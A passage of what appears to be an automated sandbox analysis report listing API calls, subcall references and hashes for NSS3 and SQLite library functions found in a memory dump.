PORT_ZAlloc_Util.NSS3(00000001,?,?,6C620A2C), ref: 6C620E90
free.MOZGLUE(00000000), ref: 6C620EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6C620A2C), ref: 6C620ED9

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: 9b19005307a3bab2a88ddab4835d970bd69603edd7f539c8814f00d10ad82eee
Instruction ID: 4e0f1c8466425d5409143da5ac6fb36c32812120d0f64b8a5ee8d44b1ce97d34
Opcode Fuzzy Hash: 9b19005307a3bab2a88ddab4835d970bd69603edd7f539c8814f00d10ad82eee
Instruction Fuzzy Hash: 1021A3B7F0028457EB0045655C65BA776AEDFC1308F050035D85C53A02FB68C8978AAA

Function 6C62AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C62AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6C62AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C62AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C62AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6C749500), ref: 6C62AF23

Part of subcall function 6C67F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C67F0C8
Part of subcall function 6C67F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C67F122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C62AF37

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: 44b5fcab7cb8fab12d7ea82c2858dc36e66553b27d27dc60887163cb58a45c15
Instruction ID: 0948964ce8bc8e686d5d8f2ed0c916822ec292a0dd94039db292b9f5899a339e
Opcode Fuzzy Hash: 44b5fcab7cb8fab12d7ea82c2858dc36e66553b27d27dc60887163cb58a45c15
Instruction Fuzzy Hash: 46214CB1909200ABE7208E189C01B9A77E4AF8572CF144719FC649B7C2F779D5058BBF

Function 6C6AEE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6AEE85
realloc.MOZGLUE(12EFDB05,?), ref: 6C6AEEAE
PORT_Alloc_Util.NSS3(?), ref: 6C6AEEC5

Part of subcall function 6C680BE0: malloc.MOZGLUE(6C678D2D,?,00000000,?), ref: 6C680BF8
Part of subcall function 6C680BE0: TlsGetValue.KERNEL32(6C678D2D,?,00000000,?), ref: 6C680C15

htonl.WSOCK32(?), ref: 6C6AEEE3
htonl.WSOCK32(00000000,?), ref: 6C6AEEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6C6AEF01

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: fece08bda0cf8ef263bd53d19e323005e24b46bac2b700ec7ee2d8ac9546ddcf
Instruction ID: bae028b01f136ffc30c02e29ec9932ff6e288401f15c4b2c8d0eb8dc7d6a1b6c
Opcode Fuzzy Hash: fece08bda0cf8ef263bd53d19e323005e24b46bac2b700ec7ee2d8ac9546ddcf
Instruction Fuzzy Hash: 0721D671A002249FCF109F68DC8479AB7A4EF49358F158179EC099B642E330EC16C7EA

Function 6C65EE30 Relevance: 9.1, APIs: 6, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C65EE49

Part of subcall function 6C67FAB0: free.MOZGLUE(?,-00000001,?,?,6C61F673,00000000,00000000), ref: 6C67FAC7

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C65EE5C
PK11_CreateContextBySymKey.NSS3(?,00000104,?,?), ref: 6C65EE77
PK11_CipherOp.NSS3(00000000,?,00000008,?,?,?), ref: 6C65EE9D
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C65EEB3

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: K11_$ContextItem_Util$AllocCipherCreateDestroyZfreefree
String ID:
API String ID: 886189093-0
Opcode ID: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction ID: 2d21c71bdfac93dff1015d842b9cdbf9462363f9cea0bbf83c0882ee49d61eaf
Opcode Fuzzy Hash: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction Fuzzy Hash: 6B21C3B6B10211ABEF118B28DC81EAB77A8AB46708F544564FE089B341E771DC2587F9

Function 6C627F50 Relevance: 9.1, APIs: 6, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C627F68

Part of subcall function 6C680FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6287ED,00000800,6C61EF74,00000000), ref: 6C681000
Part of subcall function 6C680FF0: PR_NewLock.NSS3(?,00000800,6C61EF74,00000000), ref: 6C681016
Part of subcall function 6C680FF0: PL_InitArenaPool.NSS3(00000000,security,6C6287ED,00000008,?,00000800,6C61EF74,00000000), ref: 6C68102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000002C), ref: 6C627F7B

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C627FA7

Part of subcall function 6C67FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C678D2D,?,00000000,?), ref: 6C67FB85
Part of subcall function 6C67FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C67FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C74919C,?), ref: 6C627FBB

Part of subcall function 6C67B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7518D0,?), ref: 6C67B095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C627FCA
SEC_QuickDERDecodeItem_Util.NSS3(00000000,-00000004,6C74915C,00000014), ref: 6C627FFE

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_Arena_DecodeQuickValue$AllocateCopyCriticalEnterErrorFreeInitLockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1489184013-0
Opcode ID: e1977e29ddd4ef026e74cae25522e46de1e0c6ab973f5e003d62c0c8edcf3873
Instruction ID: 722d6395ccf27f9c9aa003f00f738c753770f529b3b3ac78a0d4f16bfadae753
Opcode Fuzzy Hash: e1977e29ddd4ef026e74cae25522e46de1e0c6ab973f5e003d62c0c8edcf3873
Instruction Fuzzy Hash: 31112771D0520557E7209A259D44FBB72ECDF5665CF100A2DFC59C2A81F720A548C6BD

Function 6C62BE50 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,6C6ADC29,?), ref: 6C62BE64

Part of subcall function 6C680FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6287ED,00000800,6C61EF74,00000000), ref: 6C681000
Part of subcall function 6C680FF0: PR_NewLock.NSS3(?,00000800,6C61EF74,00000000), ref: 6C681016
Part of subcall function 6C680FF0: PL_InitArenaPool.NSS3(00000000,security,6C6287ED,00000008,?,00000800,6C61EF74,00000000), ref: 6C68102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,6C6ADC29,?), ref: 6C62BE78

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

PORT_ArenaAlloc_Util.NSS3(00000000,?,?,?,?,6C6ADC29,?), ref: 6C62BE96

Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68116E

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,?,6C6ADC29,?), ref: 6C62BEBB

Part of subcall function 6C67FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C678D2D,?,00000000,?), ref: 6C67FB85
Part of subcall function 6C67FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C67FBB1

PR_SetError.NSS3(FFFFE013,00000000,?,6C6ADC29,?), ref: 6C62BEDF
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,6C6ADC29,?), ref: 6C62BEF3

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_Value$CopyCriticalEnterErrorFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 3111646008-0
Opcode ID: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction ID: 78db757442e473c053e9acbf86266a1cf70b926ed5074d8722be2f431d31c077
Opcode Fuzzy Hash: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction Fuzzy Hash: 4611BB71E012055BEB008B65AD51FAE3768EF81398F144424ED59D7740EB35E909CBB9

Function 6C6B3C80 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6C6B5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6B5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6B3D3F

Part of subcall function 6C62BA90: PORT_NewArena_Util.NSS3(00000800,6C6B3CAF,?), ref: 6C62BABF
Part of subcall function 6C62BA90: PORT_ArenaAlloc_Util.NSS3(00000000,00000010,?,6C6B3CAF,?), ref: 6C62BAD5
Part of subcall function 6C62BA90: PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,6C6B3CAF,?), ref: 6C62BB08
Part of subcall function 6C62BA90: memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C6B3CAF,?), ref: 6C62BB1A
Part of subcall function 6C62BA90: SECITEM_CopyItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,6C6B3CAF,?), ref: 6C62BB3B

PR_EnterMonitor.NSS3(?), ref: 6C6B3CCB

Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E90AB
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E90C9
Part of subcall function 6C6E9090: EnterCriticalSection.KERNEL32 ref: 6C6E90E5
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E9116
Part of subcall function 6C6E9090: LeaveCriticalSection.KERNEL32 ref: 6C6E913F

PR_EnterMonitor.NSS3(?), ref: 6C6B3CE2
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6B3CF8
PR_ExitMonitor.NSS3(?), ref: 6C6B3D15
PR_ExitMonitor.NSS3(?), ref: 6C6B3D2E

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Monitor$EnterValue$Alloc_ArenaArena_CriticalExitSection$CopyErrorFreeIdentitiesItem_LayerLeavememset
String ID:
API String ID: 4030862364-0
Opcode ID: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction ID: 7eda89b71f1f7395bc0db764cffa3afdc4035b9e8c6252c02ba3c7c2bff41b07
Opcode Fuzzy Hash: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction Fuzzy Hash: 5B1126B57116006BE7205F65EC417CBB2E4EF5230CF400539E40AA7B20EA32F929C75E

Function 6C67FDF0 Relevance: 9.1, APIs: 6, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C67FE08

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C67FE1D

Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68116E

PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C67FE29
PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C67FE3D
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C67FE62
free.MOZGLUE(00000000,?,?,?,?), ref: 6C67FE6F

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil$AllocateValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 660648399-0
Opcode ID: 4e5d8cc825ca5b75458da4e3f32a4aadafc9642d8f38e4dfd7084fb3929e6a71
Instruction ID: 4a18ccea3273a90f6d12aac04dfbfa228adcb0e375c70698b7fece54c567697b
Opcode Fuzzy Hash: 4e5d8cc825ca5b75458da4e3f32a4aadafc9642d8f38e4dfd7084fb3929e6a71
Instruction Fuzzy Hash: 4A11E5B6601205BBEB108B54DC40E5B7398AF59799F248434F91C87B12E731D915C7BA

Function 6C72FD90 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

PR_Lock.NSS3 ref: 6C72FD9E

Part of subcall function 6C6E9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C611A48), ref: 6C6E9BB3
Part of subcall function 6C6E9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C611A48), ref: 6C6E9BC8

PR_WaitCondVar.NSS3(000000FF), ref: 6C72FDB9

Part of subcall function 6C60A900: TlsGetValue.KERNEL32(00000000,?,6C7814E4,?,6C5A4DD9), ref: 6C60A90F
Part of subcall function 6C60A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C60A94F

PR_Unlock.NSS3 ref: 6C72FDD4
PR_Lock.NSS3 ref: 6C72FDF2
PR_NotifyAllCondVar.NSS3 ref: 6C72FE0D
PR_Unlock.NSS3 ref: 6C72FE23

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CondLockUnlockValue$CriticalEnterNotifySectionWait
String ID:
API String ID: 3365241057-0
Opcode ID: 2723a50b5e0ce1e705f1763788bae62661c91ad8e44d0f2413f75d1a3b79593b
Instruction ID: 9ef3645b95e5f0dce384d17e37cf53fa56157bce135b0a442450e7c22ef46d69
Opcode Fuzzy Hash: 2723a50b5e0ce1e705f1763788bae62661c91ad8e44d0f2413f75d1a3b79593b
Instruction Fuzzy Hash: 7C018EF6E05610ABCF055E15FD008467661EB032687254375E93A47BA2E722ED28C786

Function 6C60AE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C60AFDA

Strings

%s at line %d of [%.10s], xrefs: 6C60AFD3
misuse, xrefs: 6C60AFCE
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C60AFC4
unable to delete/modify collation sequence due to active statements, xrefs: 6C60AF5C

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: ddd97bd0db864b951b0c8d6c1a7751123dbfda165390ef3b19bfa7aab357b12a
Instruction ID: 897885d847de61d295aa20548500513b60c6cc50b5dd2bb44fad4dea6d6dfbc7
Opcode Fuzzy Hash: ddd97bd0db864b951b0c8d6c1a7751123dbfda165390ef3b19bfa7aab357b12a
Instruction Fuzzy Hash: E891E371B012158FDB08CF69CA54AAEB7F1BF85354F1985A8E865BB752C330ED02CB64

Function 6C66FC30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,pkcs11:,00000007), ref: 6C66FC55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C66FCB2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C66FDB7
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6C66FDDE

Part of subcall function 6C678800: TlsGetValue.KERNEL32(?,6C68085A,00000000,?,6C628369,?), ref: 6C678821
Part of subcall function 6C678800: TlsGetValue.KERNEL32(?,?,6C68085A,00000000,?,6C628369,?), ref: 6C67883D
Part of subcall function 6C678800: EnterCriticalSection.KERNEL32(?,?,?,6C68085A,00000000,?,6C628369,?), ref: 6C678856
Part of subcall function 6C678800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C678887
Part of subcall function 6C678800: PR_Unlock.NSS3(?,?,?,?,6C68085A,00000000,?,6C628369,?), ref: 6C678899

Strings

pkcs11:, xrefs: 6C66FC4F

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ErrorValue$CondCriticalEnterL_strncasecmpSectionUnlockWaitstrcmp
String ID: pkcs11:
API String ID: 362709927-2446828420
Opcode ID: a262fe75f307f94c97babad550b09e81d0eecd6b6e29a7d73a07a78f1848b0a1
Instruction ID: fb62aca66c14557af1291408cd0a208cd0bd98a10332ccfe9cb832dd9f69ba66
Opcode Fuzzy Hash: a262fe75f307f94c97babad550b09e81d0eecd6b6e29a7d73a07a78f1848b0a1
Instruction Fuzzy Hash: 3151E1B1A05111ABEB108F6ADC40B9A33B5AF4635CF240425DD196BF52EB30F904CBAF

Function 6C5ABDA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 94COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(00000000,?,?), ref: 6C5ABE02

Part of subcall function 6C6D9C40: memcmp.VCRUNTIME140(?,00000000,6C5AC52B), ref: 6C6D9D53

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014A8E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5ABE9F

Strings

%s at line %d of [%.10s], xrefs: 6C5ABE98
database corruption, xrefs: 6C5ABE93
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5ABE89

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
